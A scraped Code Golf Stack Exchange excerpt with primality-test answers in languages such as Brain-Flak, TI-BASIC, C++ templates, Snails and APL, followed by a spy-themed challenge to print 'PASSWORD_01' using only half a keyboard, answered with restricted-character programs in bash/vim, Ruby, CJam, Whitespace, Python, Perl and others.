[Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), ~~112~~ 108 bytes ``` ({}[()]){((({})())<>){{}<>(({}<(({}[()])()<>)>)<>)<>{({}[()]<({}[()]<({}())>)>{(<()>)}{})}{}{}}}<>{{}}([]{}) ``` [Try it online!](http://brain-flak.tryitonline.net/#code=KHt9WygpXSl7KCgoe30pKCkpPD4pe3t9PD4oKHt9PCgoe31bKCldKSgpPD4pPik8Pik8Pnsoe31bKCldPCh7fVsoKV08KHt9KCkpPik-eyg8KCk-KX17fSl9e317fX19PD57e319KFtde30p&input=MjUx) ## How it works Initially, the first stack will contain a positive integer **n**, the second stack will be empty. We start by decrementing **n** as follows. ``` ( {} Pop n. [()] Yield -1. ) Push n - 1. ``` ### n = 1 If **n = 1** is zero, the while loop ``` { ((({})())<>) { {}<>(({}<(({}[()])()<>)>)<>)<>{({}[()]<({}[()]<({}())>)>{(<()>)}{})}{}{} } } ``` is skipped entirely. Finally, the remaining code is executed. ``` <> Switch to the second stack (empty). {} Pop one of the infinite zeroes at the bottom. {<>} Switch stacks while the top on the active stack is non-zero. Does nothing. ( [] Get the length of the active stack (0). {} Pop another zero. ) Push 0 + 0 = 0. ``` **n > 1** If **n - 1** is non-zero, we enter the loop that **n = 1** skips. It isn't a "real" loop; the code is only executed once. It achieves the following. ``` { While the top of the active stack is non-zero: ( ( ({}) Pop and push n - 1. () Yield 1. ) Push n - 1 + 1 = n. <> Switch to the second stack. Yields 0. ) Push n + 0 = n. We now have n and k = n - 1 on the first stack, and n on the second one. The setup stage is complete and we start employing trial division to determine n's primality. { While the top of the second stack is non-zero: {} Pop n (first run) or the last modulus (subsequent runs), leaving the second stack empty. <> Switch to the first stack. ( ( {} Pop n from the first stack. < ( ( {} Pop k (initially n - 1) from the first stack. [()] Yield -1. ) Push k - 1 to the first stack. () Yield 1. <> Switch to the second stack. ) Push k - 1 + 1 = k on the second stack. > Yield 0. ) Push n + 0 = n on the second stack. <> Switch to the first stack. ) Push n on the first stack. <> Switch to the second stack, which contains n and k. The first stack contains n and k - 1, so it is ready for the next iteration. {({}[()]<({}[()]<({}())>)>{(<()>)}{})}{}{} Compute and push n % k. } Stop if n % k = 0. } Ditto. ``` **n % k** is computed using the 42-byte modulus algorithm from [my divisibility test answer](https://codegolf.stackexchange.com/a/95210/12012). Finally, we interpret the results to determine **n**'s primality. ``` <> Switch to the first stack, which contains n and k - 1, where k is the largest integer that is smaller than n and divides n evenly. If (and only if) n > 1 is prime, k = 1 and (thus) k - 1 = 0. { While the top of the first stack is non-zero: {} Pop it. } This pops n if n is prime, n and k - 1 if n is composite. ( [] Yield the height h of the stack. h = 1 iff n is prime). {} Pop 0. ) Push h + 0 = h. ``` [Answer] # TI-BASIC, 12 bytes ``` 2=sum(not(fPart(Ans/randIntNoRep(1,Ans ``` Pretty straightforward. `randIntNoRep(` gives a random permutation of all integers from 1 to `Ans`. This bends the rules a little; because lists in TI-BASIC are limited to 999 elements I interpreted > > assume that the input can be stored in your data type > > > as meaning that all datatypes can be assumed to accommodate the input. OP agrees with this interpretation. A **17-byte solution** which actually works up to 10^12 or so: ``` 2=Σ(not(fPart(Ans/A)),A,1,Ans ``` [Answer] # TI-BASIC, 24 bytes Note that TI-Basic programs use a token system, so counting characters does not return the actual byte value of the program. Upvote [Thomas Kwa's answer](https://codegolf.stackexchange.com/a/57870/38511), it is superior. ``` :Prompt N :2 :While N≠1 and fPart(N/Ans :Ans+1 :End :N=Ans ``` Sample: ``` N=?1009 1 N=?17 1 N=?1008 0 N=?16 0 ``` Now returns `0` if not a prime, or `1` if it is. [Answer] ## C++ template metaprogramming. ~~166~~ ~~131~~ 119 bytes. Code compiles if the constant is a prime, and does not compile if composite or 1. ``` template<int a,int b=a>struct t{enum{x=t<a,~-b>::x+!(a%b)};}; template<int b>struct t<b,0>{enum{x};}; int _[t<1>::x==2]; ``` (all newlines, except final one, are eliminated in "real" version). I figure "failure to compile" is a falsey return value for a metaprogramming language. Note that it does not link (so if you feed it a prime, you'll get linking errors) as a full C++ program. The value to test is the integer on the last "line". [live example](http://coliru.stacked-crooked.com/a/d1073b477078ddeb). [Answer] # Ruby, 15 + 8 = 23 bytes ``` p$_.to_i.prime? ``` Sample run: ``` bash-4.3$ ruby -rprime -ne 'p$_.to_i.prime?' <<< 2015 false ``` [Answer] # PARI/GP, 21 bytes ``` print(isprime(input)) ``` Works for ridiculously big inputs, because this kind of thing is what PARI/GP is made for. [Answer] # Python 3, 59 bytes Now uses `input()` instead of command line arguments. Thanks to @Beta Decay ``` n=int(input()) print([i for i in range(1,n)if n%i==0]==[1]) ``` [Answer] # C, 67 bytes ``` i,n;main(p){for(scanf("%d",&i),n=i;--i;p=p*i*i%n);putchar(48+p%n);} ``` Prints ~~`!1` (a falsey value, by [Peter Taylor's definition](http://meta.codegolf.stackexchange.com/questions/2190/interpretation-of-truthy-falsey/2194#2194))~~ `0` if `(n-1)!^2 == 0 (mod n)`, and `1` otherwise. **EDIT**: After some discussion in chat, `puts("!1"+p%n)` seems to be considered a bit cheaty, so I've replaced it. The result is one byte longer. **EDIT**: Fixed for big inputs. ## Shorter solutions **56 bytes**: As recommended in the comments by pawel.boczarski, I could take input in unary by reading the number of command line arguments: ``` p=1,n;main(i){for(n=--i;--i;p=p*i*i%n);putchar(48+p%n);} ``` invoking the program like ``` $ ./a.out 1 1 1 1 1 1 <-- as 5 is prime ``` **51 bytes**: If you allow "output" by means of return codes: ``` p=1,n;main(i){for(n=--i;--i;p=p*i*i%n);return p%n;} ``` [Answer] # Haskell, 54 bytes ``` import Data.Numbers.Primes main=readLn>>=print.isPrime ``` Nothing much to explain. [Answer] ## Python 2, 44 ``` P=n=1 exec"P*=n*n;n+=1;"*~-input() print P%n ``` Like [Sp3000's Python answer](https://codegolf.stackexchange.com/a/57681/20260), but avoids storing the input by counting the variable `n` up from `1` to the input value. [Answer] # Snails, 122 Input should be given in unary. The digits may be any mix of characters except newlines. ``` ^ ..~|!(.2+~).!~!{{t.l=.r=.}+!{t.!.!~!{{r!~u~`+(d!~!.r~)+d~,.r.=.(l!~u~)+(d!~l~)+d~,.l.},l=(.!.)(r!~u~)+(d!~!.r~)+d~,.r.!. ``` In this 2D pattern matching language, the program state consists solely of the current grid location, the set of cells which have been matched, and the position in the pattern code. It's also illegal to travel onto a matched square. It's tricky, but possible to store and retrieve information. The restriction against traveling onto a matched cell can be overcome by backtracking, teleporting (`t`) and assertions (`=`, `!`) which leave the grid unmodified after completing. [![Factorization of 25](https://i.stack.imgur.com/yiSVR.png)](https://i.stack.imgur.com/yiSVR.png) The factorization for an odd composite number begins by marking out some set of mutually non-adjacent cells (blue in diagram). Then, from each yellow cell, the program verifies that there are an equal number of non-blue cells on either side of the adjacent blue one by shuttling back and forth between the two sides. The diagram shows this pattern for one of the four yellow cells which must be checked. Annotated code: ``` ^ Match only at the first character ..~ | Special case to return true for n=2 !(.2 + ~) Fail for even numbers . !~ Match 1st character and fail for n=1 !{ If the bracketed pattern matches, it's composite. (t. l=. r=. =(.,~) )+ Teleport to 1 or more chars and match them (blue in graphic) Only teleport to ones that have an unmatched char on each side. The =(.,~) is removed in the golfed code. It forces the teleports to proceed from left to right, reducing the time from factorial to exponential. !{ If bracketed pattern matches, factorization has failed. t . !. !~ Teleport to a square to the left of a blue square (yellow in diagram) !{ Bracketed pattern verifies equal number of spaces to the left or right of a blue square. { (r!~ u~)+ Up... (d!~!. r~)+ Right... d~, Down... . r . =. Move 1 to the right, and check that we are not on the edge; otherwise d~, can fall off next iteration and create and infinite loop (l!~ u~)+ Up... (d!~ l~)+ Left... d ~, Down... . l . Left 1 } , Repeat 0 or more times l =(. !.) Check for exactly 1 unused char to the left (r!~ u~)+ Up... (d!~!. r~)+ Right... d ~, Down... . r . !. } } } ``` [Answer] # APL, ~~40~~ 13 bytes ``` 2=+/0=x|⍨⍳x←⎕ ``` Trial division with the same algorithm as [my R answer](https://codegolf.stackexchange.com/a/57675/20469). We assign `x` to the input from STDIN (`⎕`) and get the remainder for `x` divided by each integer from 1 to `x`. Each remainder is compared against 0, which gives us a vector of ones and zeros indicating which integers divide `x`. This is summed using `+/` to get the number of divisors. If this number is exactly 2, this means the only divisors are 1 and `x`, and thus `x` is prime. ]
[Question] [ You have been hired for your tech knowledge as a Secret Agent's sidekick to ensure that the good guy can get his job done and the world can be saved. This is your last mission before retiring with a high paycheck and the gratitude of the whole world. But before you have to disarm the Evil Genius' Big Overly Massive BOMB (seems that the evil genius is a smart ass who likes recursive acronyms). Anyways you and your buddy are in the very core of the Evil Genius secret base, ready to disarm the BOMB that could wipe the continent out. In your previous mission you managed to get the disarm code that to your astonishment is just "PASSWORD\_01". You connect your keyboard to the BOMB but when you are ready to go, the Evil Genius' henchmen enter in with a barrage of bullets. Unfortunately one of these bullets impacts on your keyboard. "Finish the job while I distract those d\*ckheads!" says your buddy and then begins to fire his gun. But how could you finish the job with only half a keyboard? **SPECS** 1. Write a program that outputs in any way you want the string `PASSWORD_01` (uppercase). 2. Since your keyboard has been hit by a bullet, you can only use these keys: `1` `2` `3` `4` `5` `Q` `W` `E` `R` `T` `A` `S` `D` `F` `G` `<` `>` `Z` `X` `C` `Ctrl` `Shift` `Tab` `Space` Using the `Shift` key, your keyboard allows you to use these characters: `!` `"` `¬∑` `$` `%` 3. You don't have any other hardware than the keyboard and the screen (a mouse for example), nor a file with the password written in your computer. 4. You don't have an Internet connection. 5. You can assume you have the interpreter shell / source editor opened before the bullets came in. Sadly you have not written anything in it before the keyboard was hit. 6. You don't have a virtual keyboard. In fact the BOMB has a TOO\_FUNNY detector that will make it explode if you try to use the [Standard loopholes](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default). 7. Since your buddy is waiting for you to finish soon to escape off the Secret Base, you will have to write the smallest code possible (so it's [restricted-source](/questions/tagged/restricted-source "show questions tagged 'restricted-source'") and [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'")!). Good luck because the count down has begun! **HELP MODE:** Also a `KEY` (only one Key you want from the keyboard, but not the Shift + Key or any other combination) has miraculously survived too. E.g.: You can use `=`, or `0` or `/`… This extra key cannot be any of the letters in `PASSWORD_01` (so you cannot add `P` or `O`). Name that key in your answer. **You have a penalization of 10 characters for use of this key** regardless of how many times you use the key. [Answer] ## bash, vim and dc (343) I'm sitting at a bash prompt which has been configured by the Evil Genius, and of course he has `VISUAL=vim` in the default environment. Using the default bash binding for `edit-and-execute-command` (`C-x C-e`) bash invokes `$VISUAL` and will execute its buffer contents on exit (`ZZ`). I type in the following sequence (Note: `kbd`-mode are commands issued in normal mode and control sequences): 1. `C-x``C-e` 2. `a`cat<<<45`C-c``4``C-a``a`a Now the vim buffer contains `cat<<<49a`. Continuing ... 3. 45`C-c``3``C-a``a`a 4. 54`C-c``41``C-a``a`a 5. 55`C-c``13``C-a``a`a Now the vim buffer contains `cat<<<49a48a95a68a`. Continuing ... 6. 51`C-c``31``C-a``a`a 7. 55`C-c``24``C-a``a`a 8. 44`C-c``43``C-a``a`a 9. 42`C-c``41``C-a``a`a 10. 42`C-c``41``C-a``a`a 11. 54`C-c``11``C-a``a`a 12. 55`C-c``25``C-a``a`a>s Now the vim buffer contains `cat<<<49a48a95a68a82a79a87a83a83a65a80a>s` Get out of insert mode, save and exit 13. `C-c``Z``Z` The `s` file now contains a `dc` script that generates the desired string on the stack, now we need to add print commands. 14. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` Repeat the above command 9 times. 15. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 16. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 17. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 18. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 19. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 20. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 21. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 22. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 23. `C-x``C-e``a`dc<<<55`C-c``25``C-a``a`a>>s`C-c``Z``Z` 24. `C-x``C-e``a`cat<<< f >>s Execute the dc script: 25. `C-x``C-e``a`dc s`C-c``Z``Z` Output: ``` PASSWORD_01 ``` Contents of the `s` file: ``` 49a48a95a68a82a79a87a83a83a65a80a P P P P P P P P P P f ``` [Answer] ## Ruby, 57 + 10 (`*`) = 67 ``` $*<<4*4*5<<214%135<<44%25*5<<1%1 $><<"%cASSW%cRD%c%d1"%$* ``` This answer uses `*` and `%` to build the ASCII values of the missing characters (and 0 as Fixnum) and pushes them into `$*` (`ARGV`). This array is then used in combination with a format string to generate the correct password, which is printed with `$><<` (`$>` is stdout). ## Ruby, 62 + 10 (`.`) = 72, no linebreak ``` $>.<< "%cASSW%cRD%c%d1".% %w%%<<311%231<<214%135<<321%113<<1%1 ``` Roughly the same principle as the above version, except that here the array is built from an empty array literal (`%w%%`). Some fiddling with `.` is needed to get the desired operator precedence. [Answer] # CJam - 24 + 10 (`(`) = 34 ``` "Q"c("ASSW"1$("aRD"(((T1 ``` ## No additional key - 39 ``` 211 131%c"ASSW"211 132%c"RD"321 113%cT1 ``` Try it at <http://cjam.aditsu.net/> [Answer] # Whitespace (148 + 10 = 158) `Enter` key needs to be used here. ``` SS+1010000L // Push code of P TLSS // Output character SS+1000001L // Push code of A TLSS // Output character SS+1010011L // Push code of S SLS // Duplicate top stack TLSS TLSS SS+1010111L // Push code of W TLSS SS+1001111L // Push code of O TLSS SS+1010010L // Push code of R TLSS SS+1000100L // Push code of D TLSS SS+1011111L // Push code of _ TLSS SS+0L // Push 0 TLST // Output number SS+1L // Push 1 TLST // Output number LLL // End program ``` My notation's explanation: * `S`, `+`, `0` are spaces. * `T`, `1` are tabs. * `L` is new line. * `//` starts comment. Each line is a command in whitespace language. [**Demo**](http://ideone.com/ZFXeAT) [Answer] # Python (~~2200~~ 395 + 10) ``` exec"""exec"exec"+"%ca"%34+"%c52+53"""+"%c55+55"%44+"%c34"%44+"%c45+35"%44+"%c"%44+"""34%%cexec"%"""+"%c"%54+"""1+"%c"%34+"%%5%c+"%5"""+"%c"%55+"""+"%c"%34+"%c"""+"%c"%112+"""r%%c%%ct%%c%%cASSW"+"%c%%34+"%34+"%c%%cRD"%34+"%c%%"""+"%c"%55+""""%34+"%c+"%5"""+"%c"%55+"""+"%c%%c"%34+"%c%%"%34+"%c5+"%5"""+"%c"%55+"""+"%c"%34+"%c1%%c"+"%c%%4"%34+"%c+"%5"""+"%c"%54+"""+"%c"%34+"%c%%a"+"%c%%34"%34""" ``` I needed the `+` character (costing +10), which can be obtained from the numpad (or on certain key layouts). Yeah, the BOMB probably went off while I was typing that. The basic approach is to construct ever larger character sets by using `exec` and `"%c"%(number)`. There are four `exec`s nested inside each other. Gradually, my digit set progresses up from 1. 12345 2. 1234567 (6 = ASCII 54, 7 = ASCII 55) 3. 123456789 (8 = ASCII 56, 9 = ASCII 57) 4. 0x0123456789abcdef so that in the final iteration it is possible to express any character (so that the innermost version can actually run any program at all). Around 50% of the program is just quote characters (`"%c"%34` is a double quote), because the nested nature of the `exec` statements demands "escaping" quote characters aggressively. [Answer] # [Insomnia](http://esolangs.org/wiki/Insomnia) ~~39~~ ~~35~~ ~~31~~ 29 This language comes up when I was looking around for a language that encodes its instructions with single ASCII character. The language actually operates on the decimal ASCII code of the character, so it is still quite flexible with half of the keyboard destroyed. Drop it down further to 29 characters, which is possible after reducing memory usage and increases the search space: ``` FdFzt%dF<rGdt>tt Gtreeet t%4s ``` I decided to run my tweaked up program on the full set of allowed characters, and cut the solution down to 31 characters: ``` FdFGt dtreeC>tt FFdx<Fdtr ztq4s ``` I used a program to search for this solution. It is one among many solutions returned by my program, all with the same size. ``` Fddx>"eCeezdC>CefCdddzCzzfCqred>r4s ``` Old version constructed by hand. I remember staying up till morning to do this. ``` Fddx>"eCeezdC>Cef>dx"dCezeeedeCrqeeC%4s ``` Here is the [**Insomnia interpreter**](https://codegolf.stackexchange.com/a/41868/) for testing. [Answer] ## Vim + PHP on Some Window Managers 65 keys in 44 strokes, with a 10-point penalty for using `=`. ``` aEACE<Alt+Tab>z=5<Alt+Tab>$xxxxaASSWRD<Alt+Tab>z=1<Alt+Tab> $a$aA<Alt+Tab>==wxx$r1<^X>a1 ``` A breakdown: * `Alt+Tab` appears to work like `Esc` with Vim, or perhaps with this terminal emulator. Thanks for teaching me something new! * `aEACE<Alt+Tab>`: Enter append mode and insert ‚ÄúEACE‚Äù. Exit. * `z=5<Alt+Tab>`: Perform spelling correction. Select 5, ‚ÄúPEACE‚Äù. Exit. (`Esc` seems to work as `Enter` here!) * `$xxxxaASSWRD<Alt+Tab>`: Go to the end of the line. Delete 4 characters and add `ASSWRD`, resulting in `PASSWRD`. Back to normal mode. (No, `4x` won‚Äôt work.) * `z=1<Alt+Tab>`: `PASSWORD` is *probably* going to be the first correction for this. Select it. * `$a$aA<Alt+Tab>`: Go to the end of the line, and add a `$aA`. Back to normal mode. * `==`: Format this line of PHP nicely, changing the camelCase `$aA` to `$a_a`. This also moves the cursor back to the start of the line. * `wxx`: Go forward a word; the cursor is now before `$`. Delete two characters ‚Äì the `$` and the `a` ‚Äì to make `PASSWORD_a`. * `$r1`: Go to the end of the line and replace the current character (i.e. `a`) with `1`, resulting in `PASSWORD_1`. * `^X`: Decrement the integer under the cursor, resulting in `PASSWORD_0`. * `a1`: Finally, append `1`, for `PASSWORD_01`! [Answer] # Python 2, 75889 bytes **No extra character!** Unfortunately, the code is super long. So instead, here's the code to generate the program: ``` x=[2**n for n in xrange(16)] y=-5 print('exec"""exec'+x[7]*'%'+'c""'+x[6]*'%'+'cr'+x[-2]*'%'+'c'+x[-1]*'%'+'ct'+x[8]*'%'+'c'+x[-4]*'%'+'cASSW'+x[-5]*'%'+'cRD'+x[-3]*'%'+'c'+x[0]*'%'+'s1'+x[10]*'%'+'c '+x[9]*'%'+'c""'+x[y]*'%'+x[1]*'%'+'s'+x[y]*'%'+x[2]*'%'+'s'+x[y]*'%'+x[3]*'%'+'s'+x[y]*'%'+x[4]*'%'+'s'+x[y]*'%'+x[5]*'%'+'s"""'+'%`1>>1`%`2531>>5`%`321>>2`%`1521>>4`%`211>>1`%`221>>1`%112%34%34%34%34') ``` [**Try it online**](https://tio.run/nexus/python2#rZLBa8IwFMbP61/x0fLoVin0JY1tBwoDd1bqYQcRHcENL51UD/Wvdy@1GQoelzTN9/veS3ghiQ7tvjmFi7fl8mNezzYZh0F09cg6k8jWM5JmaWiWQyozKiqqDOVlEO26nQ3D0E0kgmzrsu3J/fot3A6WjkwWfcLRd1kFwpanU97SVhktyojSSoQSwcap3AXZZ6mrYFak87/v0k1WKkkafP20aLBv0LWfzffumccv6@A8SU3QHyu@qTYedatincQUj2LxHI49to5S5bEn9nRyWN7Fck/uxL1jvFPPeta3@dkAR3bEHi0cVvc1na8oaX7Rnaseuvqhmz90faXuPmSif7mQ@BLJg3qvX5GhqFBmqAw4k8EZDgiHDsyBBbAB9kATRE8ZGFCAllguwwBjFChRyXKkBmmOVCNVSHl4q5DyE62C4PIL) (to run the code, change the outer `print` into an `exec`. Or, generate the program, then paste and run. Or copy from the hastebin linked below.) ### Explanation: The goal is to execute: ``` print"PASSWORD_01" ``` To avoid using `()+` chars, we have to use multiple string format operations chained together. This means that each step added effectively ***doubles*** the number of `%` characters needed for each previous step: ``` print"%cASSW%%cRD%%%%c%%%%%%%%c1"%80%79%95%48 ``` This is not enough though, because some of the numbers required cannot be created, and neither can we create `print`. So we add a level of abstraction with `exec` for `print`ing, and a level for the ASCII code points we cannot create to format with. The following is essentially my answer, but with each string of `%` reduced to a single one (note that the `%s%s%s%s%s` is not an accurate representation, failing to account for the literal `%`'s required before each): ``` exec"""exec%c""%cr%c%ct%c%cASSW%cRD%c%s1%c %c""%s%s%s%s%s""" % `1>>1`%`2531>>5`%`321>>2`%`1521>>4`%`211>>1`%`221>>1`%112%34%34%34%34 ``` **The First Step: Outermost `exec`:** ``` exec""" ... ASSW%cRD ... %s%s%s%s%s""" % `1>>1` % `2531>>5` % `321>>2` % `1521>>4` % `211>>1` % `221>>1` ``` 1. `1>>1`: `0`, used for the `0` in `PASSWORD_01` 2. `2531>>5`: `79`, used for inner exec to create `O` 3. `321>>2`: `80`, used for inner exec to create `P` 4. `1521>>4`: `95`, used for inner exec to create `_` 5. `211>>1`: `105`, used for inner exec to create `i` 6. `221>>1`: `110`, used for inner exec to create `n` **Second Step: Prepare Inner `exec`** After the above, the inner `exec` is something like this: ``` exec%c""%cr%c%ct%c%cASSWORD%c01%c %c""%79%80%95%105%110 ``` Except that you wouldn't quite get that. Still wtih the simplifications, you'd get this: ``` exec%c""%cr%c%ct%c%cASSWORD%c01%c %c""798095105110 ``` The literal `%`'s need to be included. So basically I had to add a bunch of them before each `%s` to end up with literal `%`'s left after all the formatting. `2**11` of them. Times five. The rest of the outer `exec` string format operations are `%112%34%34%34%34`. The `112` is for `p`, and the others are quotation marks. After applying those, the result is something like this: ``` exec"""pr%c%ct"%cASSW%cRD%c01" """%79%80%95%105%110 ``` But in reality it has a bunch more `%`. It's this: ``` exec"""pr%%%%%%%%c%%%%%%%%%%%%%%%%ct"%%cASSW%cRD%%%%c01" """%79%80%95%105%110 ``` The final step is to simply run that, after which you get the necessary output. --- **Full code here:** <https://hastebin.com/ehemizivum.apache> [Answer] # bash + vim (56) Borrowing the `Ctrl-X``Ctrl-E` bash trick from Thor's solution, here is how I would do it in bash+vim: `C-X``C-E` starts default editor (usually vim) `a` starts insert mode `.``space` `A``S``S``W` `C-V``x``4``f` inserts `O` `R``D` `C-V``x``5``f` inserts `_` `1` `C-3` is equivalent to `escape` (not just in vim, but anywhere in a terminal) `C-X` subtracts 1 from the `1` i just typed `a` insert mode again `1` `C-3` buffer content is now `. ASSWORD_01` `<``<` unindent line (a no-op, since line is not indented) and move cursor to 1st column `a` `C-X` start word completion `C-V` complete with ex command `C-V` 9 more times selects the entry `Print` `C-3` back to normal mode `X``X``X``x``x` deletes `rint` `<` `<` back to column 1 `s` delete `.`, start insert mode `e` `c` `C-X` `C-V` ex command completion once again, entry `echo` already selected because of the `ec` i just typed `space` `C-3` buffer content now `echo PASSWORD_01` `Z` `Z` save buffer, close vim, bash executes file content, i.e. `echo PASSWORD_01` By the way: `C-3` has many useful brethren: `C-J` is `Enter`, `C-I` is `Tab`, `C-H` is `Backspace`, `C-2` is `C-@` (i.e. a null-byte). And for emacs users it is nice to know that `Escape` followed by another key is equivalent to `Alt` + that key. So, even without `Escape` and `Alt` you can still type Meta-x like this: `C-3``x` [Answer] # Perl, (31+10 / 41+10 / 64+10) (`^` key used, 3 ways) ``` exec"easswsrdcqw"^"5 < <AF" # exec "PASSWORD_01" ``` * Valid if running as a system command qualifies as "output." ``` exec"QQZSqeasswsrdcqw"^"422<Q5 < <AF" # exec "echo PASSWORD_01" ``` * Valid if I'm allowed to use external/OS commands. [**(Run here)**](http://ideone.com/HSviYP) ``` exec"EQAXqwQqQZQxqeasswsrdcqwxqq"^q!5434QZ4S534$S5 < <AF$SS! # exec "perl -e\"die\\\"PASSWORD_01\\\"\"" ``` * Valid if I can execute Perl via the system. [**(Run here)**](http://ideone.com/SA6vYG) <-- this one uses `print` instead of `die` The scripts use Perl's bitwise string XOR operator `^`, which does an XOR on the character bits of the two strings. This lets me recreate the missing characters for PASSWORD\_01, and create the characters for the system command. I made the three variants depending on how lenient the rules are. I assume that since variants 2 and 3 actually output the words on Ideone, the solutions are valid. I removed the little story I had here since I figured no one would read it, but you can read it in the edits if you're curious! [Answer] # MS-DOS .COM 8086 machine code (72 bytes) Time is precious, so no time to dilly-dally with compilers or interpreters! Simply open your text editor of choice and type in the following (replace `\t` with TAB): ``` 451D<1DAQX1D11D3AQX4c1DDQX4<SZ!Gq\tGq3WqEEEEESX5\t\t2!<<<<<<<<<eASSWzRD<11$ ``` As a hexdump: ``` 00000000 : 34 35 31 44 3C 31 44 41 51 58 31 44 31 31 44 33 : 451D<1DAQX1D11D3 00000010 : 41 51 58 34 63 31 44 44 51 58 34 3C 53 5A 21 47 : AQX4c1DDQX4<SZ!G 00000020 : 71 09 47 71 33 57 71 45 45 45 45 45 53 58 35 09 : q.Gq3WqEEEEESX5. 00000030 : 09 32 21 3C 3C 3C 3C 3C 3C 3C 3C 3C 65 41 53 53 : .2!<<<<<<<<<eASS 00000040 : 57 7A 52 44 3C 31 31 24 : WzRD<11$ ``` Save as a .COM file and run it to save the day. The code assumes [certain start values for registers](http://www.fysnet.net/yourhelp.htm), so might not work for all DOS flavours. Just hope that someone risked being fired by *not* buying IBM. Slightly more understandable representation: ``` org 0x100 bits 16 cpu 8086 ; Assumes the following start values for registers (as per http://www.fysnet.net/yourhelp.htm): ; ; AX = 0 ; BX = 0 ; CX = 0x00ff ; SI = 0x100 ; Change e => P and z => O xor al, 0x35 xor [si+0x3c], ax xor [si+0x41], ax ; Fix int 0x21 and ret push cx pop ax ; AX = 0xFF xor [si+0x31], ax xor [si+0x33], ax ; Change <1 => _0 inc cx ; CX = 0x100 push cx pop ax ; AX = 0x100 xor al, 0x63 ; AX = 0x163 xor [si+0x44], ax ; We're using DOS interrupt 0x21, function 0x09 to output the final string. ; AH must equal 0x09 to select the function. ; DS:DX must point to the $-terminated string we want to output. ; Get DX to the correct value (0x13c) push cx pop ax ; AX = 0x100 xor al, 0x3c ; AX = 0x13c push bx pop dx ; DX = 0 ; We use part of the Program Segment Prefix to temporarily store the value, ; since MOVing or PUSHing AX is impossible. ; The part in question is the second File Control Block, which we will not use anyway. and [bx+0x71], ax or [bx+0x71], ax xor dx, [bx+0x71] ; DX = 0x13c ; NOPs to get int 0x21 and ret on high enough addresses inc bp inc bp inc bp inc bp inc bp ; Set AH to the correct value. AL is set too, but is ignored by the DOS interrupt. push bx pop ax ; AX = 0 xor ax, 0x0909 ; AX = 0x0909 ; What will become instructions int 0x21 and ret db 0x32, 0x21 db 0x3c ; Padding to have the password at an address we can refer to. times 60-($-$$) db '<' ; Password pw db "eASSWzRD<11$" ``` [Answer] # oOo code (300) ``` QwerTaSdfGzxCqwertAsDfgZxCQwerTasDfgZxcQweRtaSDfgZxCqwertAsDFgZXcQWeRtaSdFGzxcQwERTasdfGzxc QwErtAsdFgzxcqWeRtaSdFGzxcQweRtaSDfGZxCqWErTAsDFgZXCqWerTasDfgZxcQweRtaSdfGzxCQwErTAsDFgZXC qWertAsDfgzxcQwERtASdFGzXcqWeRTasdFGzXcQWeRtAsDfgzxcQwERtASdFGzXCqWerTaSDfgzXcQWErTaSdFgZxc QwertaSdFgzXcQWertASdFgZXCq ``` Easy. (Linefeeds are optional, and just here to make the code "more readable") Code generator used: ``` o=lambda b,c:"".join(i.upper()if j else i for i,j in zip(__import__('itertools').cycle(c),map(int,"".join((3-len(i))*'0'+i for i in(bin('><[]-+.,'.index(i))[2:]for i in b))))) ``` The same code in a less silly encoding: ``` EeeeEeEeeEeeEeeeeeEeEeeEeEEeeeEeeEeeEeeEeeEeeEEeeEeEeeeeeEeEEeEEeEEeEeeEeEEeeeEeEEEeeeeEeee EeEeeEeeEeeeeeEeEeeEeEEeeeEeeEeeEEeEEeEeEEeEEeEEeEEEeEeeEeeEeeEeeEeeEeeEeeEeeEEeEeEEeEEeEEE eEeeeEeEeeeeeEeEEeEEeEEeEeeEeEEeeeEEeEeEEeEeEeEeeeeeEeEEeEEeEEeEEeEeeEeEEeeeEeEEEeEeEeEeEee EeeeeeEeEeeEeEEeeeEEeEeEEEe ``` [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), 400 + 10 (`+`) = 410 bytes ``` +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<.>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..++++.<<++++++++++++++.+++.>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<++++++++.>>>>++++++++++++++++++++++++++++++++++++++++++++++++.+.< ``` [Try it online!](https://tio.run/##SypKzMxLK03O/v9fm1Jgp01loGejZ0d1Q0Hm6kFMt0ETBmE76tioBzcbZCLJRuoBDfj/HwA "brainfuck ‚Äì Try It Online") [Answer] # [Poetic](https://mcaweb.matc.edu/winslojr/vicom128/final/tio/index.html), 319 bytes ``` war restarts.a test.a craze.a few desecrated areas.a few deceased staff.a sad defeat.waters red.we start a retreat after a war.a carcass wasted.a war act started warfare.war gets screwed.crew defeated.targets set.war affects qatar.a red war creates regret.a war deterred far extra starred staff.we scatter.gee!a regress ``` [Try it online!](https://mcaweb.matc.edu/winslojr/vicom128/final/tio/index.html?PU9BEgMhCPsK/YB/SjV6LjBjp5/fRt3ZEySEBCbcnJHwjAJLtSrV8aNq57TGoHCyGZyIh64CIrXbu8hAE9mJLFNqD/m2Mmnb3CCY2lfXNRWe8BUFr4gQCkWUTRtqnjX5C3cFl8UPZlhU55R0lTtRSOozZW6pjmIV/iB3jh8rvbb067ihg@68Rp20FEoyftOx4/15b71RkVKVQb5w1iOu6432Bw) Poetic is an esolang I made in 2018 for a class project. It's basically brainfuck with word-lengths instead of symbols. It was an interesting challenge to write a piece of text with certain word lengths without the right side of the keyboard (or many spaces or punctuation marks). I can only hope that it was worth it. [Answer] # ferNANDo, 179 + 10 = 189 bytes ``` 2 1 1 2 1 2 